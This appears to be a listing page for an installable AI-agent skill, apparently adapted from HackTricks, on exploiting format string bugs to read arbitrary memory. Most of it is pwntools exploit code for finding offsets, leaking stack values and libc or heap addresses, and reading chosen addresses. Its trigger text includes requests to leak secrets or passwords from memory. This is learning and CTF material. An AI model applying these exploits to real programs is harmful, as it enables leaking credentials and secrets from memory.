skills/binary-exploitation/format-strings/format-strings-arbitrary-read-example/SKILL.md
Exploit format string vulnerabilities to perform arbitrary memory reads. Use this skill whenever the user mentions format string bugs, printf vulnerabilities, %s/%p format specifiers, leaking stack/heap/libc addresses, or needs to read arbitrary memory locations in binary exploitation. Trigger on any C code with vulnerable printf() calls, pwn challenges involving format strings, or requests to leak secrets/passwords from memory.
npx skillsauth add abelrguezr/hacktricks-skills format-string-arbitrary-readInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill covers exploiting format string vulnerabilities to read arbitrary memory locations, including stack variables, heap data, and libc addresses.
Use this skill when:
printf(user_input) or similar vulnerable format string sinkWhen printf() receives user-controlled input as the format string, it interprets special sequences like:
%s - reads a string from the stack%p - reads a pointer from the stack%x - reads a hex value from the stack%n - writes to memory (not covered here, but dangerous)The offset (e.g., %11$s) specifies which stack position to read. Finding the correct offset is critical:
pwntools.FmtStr for automated discoveryCritical: Place the format string BEFORE the address in your payload. printf() stops at null bytes, so if you send the address first, it will never reach the format string.
# WRONG - address contains null bytes, printf stops early
payload = p64(address) + b"%11$s"
# CORRECT - format string first, then address
payload = b"%11$s" + p64(address)
Look for patterns like:
printf(user_input); // Direct vulnerability
printf(buffer); // If buffer is user-controlled
sprintf(dest, user_input); // Also vulnerable
Manual brute-force:
from pwn import *
for i in range(100):
p = process('./vulnerable')
payload = f"%{i}$s".encode()
p.sendline(payload)
output = p.clean()
if b"AAAA" in output: # or any controlled pattern
print(f"Found offset: {i}")
break
Automated with FmtStr:
from pwn import *
context.binary = ELF('./vulnerable', checksec=False)
io = process()
def exec_fmt(payload):
io.sendline(payload)
return io.recvuntil(b'\n', drop=False)
fmt = FmtStr(exec_fmt=exec_fmt)
offset = fmt.offset
log.success(f"Discovered offset: {offset}")
Local variables are on the stack. Use %s to leak strings:
from pwn import *
p = process('./vulnerable')
# If password is at offset 10
payload = f"%10$s".encode()
p.sendline(payload)
print(p.clean()) # Shows the leaked password
To read from a specific address:
from pwn import *
p = process('./vulnerable')
# Target address to read from
target_addr = 0x00400000 # or calculated address
# Format string first, then the address
payload = f"%11$s|||".encode() # ||| as delimiter
payload += p64(target_addr)
p.sendline(payload)
print(p.clean())
For modern binaries with PIE/ASLR:
from pwn import *
elf = context.binary = ELF('./vulnerable', checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process()
# Leak libc pointer from stack (find offset first)
io.sendline(b"%25$p")
io.recvline()
leak = int(io.recvline().strip(), 16)
# Calculate libc base
libc.address = leak - libc.symbols['__libc_start_main'] - 243
log.info(f"libc @ {hex(libc.address)}")
# Now you can read from any libc address
secret = libc.address + 0x1f7bc
payload = f"%14$s".encode() + p64(secret)
io.sendline(payload)
print(io.recvuntil(b"\n"))
from pwn import *
p = process('./vuln')
for i in range(100):
payload = f"%{i}$s\na".encode()
p.sendline(payload)
output = p.clean()
if b"secret" in output: # Look for your target
print(f"Found at offset {i}")
break
from pwn import *
p = process('./vuln')
# First, leak a heap address
p.sendline(b"%25$p")
heap_leak = int(p.recvline().strip(), 16)
# Calculate target address relative to heap
target_addr = heap_leak + 0x1f7bc # Adjust offset
# Read from calculated address
payload = f"%14$s".encode() + p64(target_addr)
p.sendline(payload)
print(p.clean())
from pwn import *
context.binary = ELF('./vuln', checksec=False)
io = process()
# Auto-discover offset
def exec_fmt(payload):
io.sendline(payload)
return io.recvuntil(b'\n', drop=False)
fmt = FmtStr(exec_fmt=exec_fmt)
# Build payload to read address
read_addr = 0x400000
payload = fmtstr_payload(fmt.offset, {read_addr: b"A" * 8})
io.sendline(payload)
print(io.clean())
Compile vulnerable binaries with:
clang -o vuln vuln.c -Wno-format-security -no-pie
-Wno-format-security: Suppresses format string warnings-no-pie: Disables PIE for easier exploitation (for learning)For realistic exploitation, test with PIE enabled:
clang -o vuln vuln.c -Wno-format-security
printf and inspect the stackprintf("%s", user_input) instead of printf(user_input)-Wformat-securitytesting
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.